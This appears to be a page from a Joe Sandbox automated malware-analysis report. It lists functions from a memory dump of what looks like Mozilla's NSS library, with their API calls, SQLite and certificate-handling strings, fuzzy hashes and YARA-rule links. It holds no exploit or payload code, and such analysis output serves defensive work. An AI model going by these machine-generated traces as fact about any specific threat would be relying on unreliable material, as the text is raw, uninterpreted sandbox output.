CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6D0E445E
CloseHandle.KERNEL32(?), ref: 6D0E446B
free.MOZGLUE(?), ref: 6D0E4482
free.MOZGLUE(00000000), ref: 6D0E4492
free.MOZGLUE(00000000), ref: 6D0E44A4
GetLastError.KERNEL32 ref: 6D0E44B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6D0E44BE
free.MOZGLUE(?), ref: 6D0E44C7
free.MOZGLUE(00000000), ref: 6D0E44D5
free.MOZGLUE(00000000), ref: 6D0E44EA

Strings

D, xrefs: 6D0E4396
=, xrefs: 6D0E44F8
NSPR_INHERIT_FDS=, xrefs: 6D0E41E9

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 83a895f56b227d67dfe23bf419676ae56bb6caaf3b0fb0b4303261caeee1812c
Instruction ID: 6f6a457aabc1936aabc72eabc85ac61bd6bfc5116f23487e39dd38f4ae4e7f03
Opcode Fuzzy Hash: 83a895f56b227d67dfe23bf419676ae56bb6caaf3b0fb0b4303261caeee1812c
Instruction Fuzzy Hash: ED02F370E04316AFFB11CFA8C8807AEBBF4AF0A384F154169DD55A7242E771E844CB91

Function 6CFF6D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6D0FA8EC,0000006C), ref: 6CFF6DC6
memcpy.VCRUNTIME140(?,6D0FA958,0000006C), ref: 6CFF6DDB
memcpy.VCRUNTIME140(?,6D0FA9C4,00000078), ref: 6CFF6DF1
memcpy.VCRUNTIME140(?,6D0FAA3C,0000006C), ref: 6CFF6E06
memcpy.VCRUNTIME140(?,6D0FAAA8,00000060), ref: 6CFF6E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFF6E38

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CFF6E76
TlsGetValue.KERNEL32 ref: 6CFF726F
EnterCriticalSection.KERNEL32(?), ref: 6CFF7283

Strings

!, xrefs: 6CFF7123

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 09c5d7b2273a6935a5821ae1567479807b58b0de62b2399f4ec7c595fe14c5b2
Instruction ID: fd17132dc79e83ddd6b0e945937598457614bacc7dfa69c544ac59b45bc1a746
Opcode Fuzzy Hash: 09c5d7b2273a6935a5821ae1567479807b58b0de62b2399f4ec7c595fe14c5b2
Instruction Fuzzy Hash: 0072AE76D052199FDF20CF28DC8879ABBB5EF48304F1441A9E91CA7311EB719A85CF91

Function 6CF63C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF63C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CF63D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF63EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF63ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF63F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF64052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF6406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CF6410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF6449C

Strings

database corruption, xrefs: 6CF64490, 6CF644F4, 6CF64599, 6CF64764, 6CF64804
%s at line %d of [%.10s], xrefs: 6CF64495, 6CF644F9, 6CF6459E, 6CF64769, 6CF64809
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF64452, 6CF64486, 6CF644EA, 6CF64571, 6CF64580, 6CF6458F, 6CF6475A, 6CF647FA

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 129eaf74fe26da8a6577a95bf3c4fd61254cac92710b9b5c9e1e6fd7efd5f1af
Instruction ID: 61838e22de4d7384d97990e97683e3901eb6d29fb66c41d6e09117f7aa291d51
Opcode Fuzzy Hash: 129eaf74fe26da8a6577a95bf3c4fd61254cac92710b9b5c9e1e6fd7efd5f1af
Instruction Fuzzy Hash: F082D171A04205DFDB04DF6AC490B9EBBF2BF49318F2581A9D905ABB52D731EC42CB91

Function 6D03AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6D03ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6D03ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6D03ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,?), ref: 6D03AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6D03ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6D03ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6D03ADF0

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6D03B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6D03B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6D03B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6D03B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6D03B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6D03B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6D03B40C

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: a142fbe31f1bba69d1c63e356e216f6a6c47fdeaa85f7aae26c91a477a34ec7c
Instruction ID: 8dbd81066d44b79ceafe23826d2bc3e65ef47858311d2075e637db7d84fb9815
Opcode Fuzzy Hash: a142fbe31f1bba69d1c63e356e216f6a6c47fdeaa85f7aae26c91a477a34ec7c
Instruction Fuzzy Hash: F522BE71908712AFF710CF14CC45B6A77E1AF8430CF16862CE9599F2A2E772E855CB92

Function 6CF81F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CF825F3

Strings

a NATURAL join may not have an ON or USING clause, xrefs: 6CF832C1
cannot join using column %s - column not present in both tables, xrefs: 6CF832AB
H, xrefs: 6CF8329F
recursive reference in a subquery: %s, xrefs: 6CF822E5
too many columns in result set, xrefs: 6CF83012
%s.%s, xrefs: 6CF82D68
no tables specified, xrefs: 6CF826BE
no such table: %s, xrefs: 6CF826AC
unsafe use of virtual table "%s", xrefs: 6CF830D1
no such index: "%s", xrefs: 6CF8319D
table %s has %d values for %d columns, xrefs: 6CF8316C
H, xrefs: 6CF8322D
cannot have both ON and USING clauses in the same join, xrefs: 6CF832B5
'%s' is not a function, xrefs: 6CF82FD2
too many references to "%s": max 65535, xrefs: 6CF82FB6
access to view "%s" prohibited, xrefs: 6CF82F4A
multiple recursive references: %s, xrefs: 6CF822E0
%s.%s.%s, xrefs: 6CF8302D

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: 77f2fdc4b570ff2d3f6dfc22439da58dbf92705a3c0823d03e4475da7aef3490
Instruction ID: 3ab1577f264641635d62d688b24571725a108073a2d62a2e2810308c936f39ef
Opcode Fuzzy Hash: 77f2fdc4b570ff2d3f6dfc22439da58dbf92705a3c0823d03e4475da7aef3490
Instruction Fuzzy Hash: A6D2BF75E06209CFDB04CF99C498B9EB7B2FF49308F288169D855AB752D732E846CB50

Function 6CFBECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CFBED38

Part of subcall function 6CF54F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF54FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CFBEF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CFBEFE4

Part of subcall function 6D07DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CF55001,?,00000003,00000000), ref: 6D07DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CFBF087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CFBF129
sqlite3_mprintf.NSS3(optimize), ref: 6CFBF1D1
sqlite3_free.NSS3(?), ref: 6CFBF368

Strings

offsets, xrefs: 6CFBEFAF, 6CFBEFDF, 6CFBF01F
optimize, xrefs: 6CFBF199, 6CFBF1CC, 6CFBF211
matchinfo, xrefs: 6CFBF04F, 6CFBF082, 6CFBF0C2, 6CFBF0F2, 6CFBF124, 6CFBF169
porter, xrefs: 6CFBED97
simple, xrefs: 6CFBED79
fts4, xrefs: 6CFBF2AD
fts3, xrefs: 6CFBF247
unicode61, xrefs: 6CFBEDB5
fts3_tokenizer, xrefs: 6CFBEE1A, 6CFBEEA8
fts3tokenize, xrefs: 6CFBF30F
fts4aux, xrefs: 6CFBECF9
snippet, xrefs: 6CFBEF05, 6CFBEF37, 6CFBEF7C

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 6d13a69ee891a4160326fb5ead7aa414181a9dcb2daf0cb4010204a4cbed7874
Instruction ID: 77d78f2447eecdb8df1f1d0807bd5fd079a8611283a95faeea1020b21f427892
Opcode Fuzzy Hash: 6d13a69ee891a4160326fb5ead7aa414181a9dcb2daf0cb4010204a4cbed7874
Instruction Fuzzy Hash: E90203BDB043005BE7049F72A84473B36B26FC9308F28453CD85AA7745EFB5E9468792

Function 6D037C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6D037C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6D037C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6D037D1E

Part of subcall function 6D037870: SECOID_FindOID_Util.NSS3(?,?,?,6D0391C5), ref: 6D03788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6D037D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6D037D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6D037DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6D037DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6D037DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6D037E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6D037E58

Part of subcall function 6D037870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D0391C5), ref: 6D0378BB
Part of subcall function 6D037870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6D0391C5), ref: 6D0378FA
Part of subcall function 6D037870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6D0391C5), ref: 6D037930
Part of subcall function 6D037870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6D0391C5), ref: 6D037951
Part of subcall function 6D037870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6D037964
Part of subcall function 6D037870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6D03797A
Part of subcall function 6D037870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6D037988
Part of subcall function 6D037870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6D037998
Part of subcall function 6D037870: free.MOZGLUE(00000000), ref: 6D0379A7
Part of subcall function 6D037870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6D0391C5), ref: 6D0379BB
Part of subcall function 6D037870: PR_GetCurrentThread.NSS3(?,?,?,?,6D0391C5), ref: 6D0379CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6D037E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6D037F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6D037F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6D037FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6D037FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6D038038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6D038050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6D038093
SECOID_FindOID_Util.NSS3 ref: 6D037F29

Part of subcall function 6D0307B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CFD8298,?,?,?,6CFCFCE5,?), ref: 6D0307BF
Part of subcall function 6D0307B0: PL_HashTableLookup.NSS3(?,?), ref: 6D0307E6
Part of subcall function 6D0307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D03081B
Part of subcall function 6D0307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6D030825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6D038072
SECOID_FindOID_Util.NSS3 ref: 6D0380F5

Part of subcall function 6D03BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6D03800A,00000000,?,00000000,?), ref: 6D03BC3F

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 0bb98c808540933d0a69e5a136e34311be7e45edbb5609aa1ba9f3fe3d04744b
Instruction ID: d09d8aea41e46fd2aa1edec432dfb42a4224602445864b56d5f428d6dbcf340c
Opcode Fuzzy Hash: 0bb98c808540933d0a69e5a136e34311be7e45edbb5609aa1ba9f3fe3d04744b
Instruction Fuzzy Hash: 34E18071A08312DFF751CF29C880B2A77E5BF88718F46496CE9999B351E731E805CB52

Function 6CFC1C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CFC1C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CFC1C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CFC1CA1
GetLengthSid.ADVAPI32(?), ref: 6CFC1CA9
malloc.MOZGLUE(00000000), ref: 6CFC1CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CFC1CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CFC1CE4
GetLengthSid.ADVAPI32(?), ref: 6CFC1CEC
malloc.MOZGLUE(00000000), ref: 6CFC1CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CFC1D0F
CloseHandle.KERNEL32(?), ref: 6CFC1D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CFC1D4D
GetLastError.KERNEL32 ref: 6CFC1D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CFC1D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CFC1D7A

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 9767b310d6740b13f5d7892cf41803d3c10a651c71f447a970e9ffe47fffa90a
Instruction ID: ecf86d6d6e556056984a645834c2e8da01e49a237038fa715773a4c8e8c47c1a
Opcode Fuzzy Hash: 9767b310d6740b13f5d7892cf41803d3c10a651c71f447a970e9ffe47fffa90a
Instruction Fuzzy Hash: A23163B5900218AFEF10DF64EC48BAA7BB9FF4A304F004465FA0992151F77199D4CF65

Function 6CFC3D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CFC3DFB
__allrem.LIBCMT ref: 6CFC3EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CFC3FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CFC4047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CFC40DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CFC415F
__allrem.LIBCMT ref: 6CFC416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CFC4288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CFC42AB
__allrem.LIBCMT ref: 6CFC42B7

Strings

%02d, xrefs: 6CFC4086
%lld, xrefs: 6CFC3FB2
%04d, xrefs: 6CFC407B
%03d, xrefs: 6CFC42E8

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 548dd116cb7c6d048373cfb8da7801fdc00a50b807976f5d1c954ced1894c208
Instruction ID: 790f8e8a50eb9a4b4534d97e043796f69c57c3cd8d5eb579fef0dc6148e32f38
Opcode Fuzzy Hash: 548dd116cb7c6d048373cfb8da7801fdc00a50b807976f5d1c954ced1894c208
Instruction Fuzzy Hash: A5F11F71B487429FD319CF38C881BABBBE6AFC5348F148A2DE49597651E730D845CB42

Function 6CFCEF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFCEF63

Part of subcall function 6CFD87D0: PORT_NewArena_Util.NSS3(00000800,6CFCEF74,00000000), ref: 6CFD87E8
Part of subcall function 6CFD87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CFCEF74,00000000), ref: 6CFD87FD
Part of subcall function 6CFD87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CFD884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CFCF2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFCF2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CFCF30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CFCF374
PL_strcasecmp.NSS3(6D112FD4,?), ref: 6CFCF457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CFCF4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CFCF66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CFCF67D
CERT_DestroyName.NSS3(?), ref: 6CFCF68B

Part of subcall function 6CFD8320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CFD8338
Part of subcall function 6CFD8320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CFD8364
Part of subcall function 6CFD8320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CFD838E
Part of subcall function 6CFD8320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CFD83A5
Part of subcall function 6CFD8320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFD83E3

Part of subcall function 6CFD84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CFD84D9
Part of subcall function 6CFD84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CFD8528

Part of subcall function 6CFD8900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CFCF599,?,00000000), ref: 6CFD8955

Strings

oid., xrefs: 6CFCF2CF
*, xrefs: 6CFCF3C6
", xrefs: 6CFCF21B

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

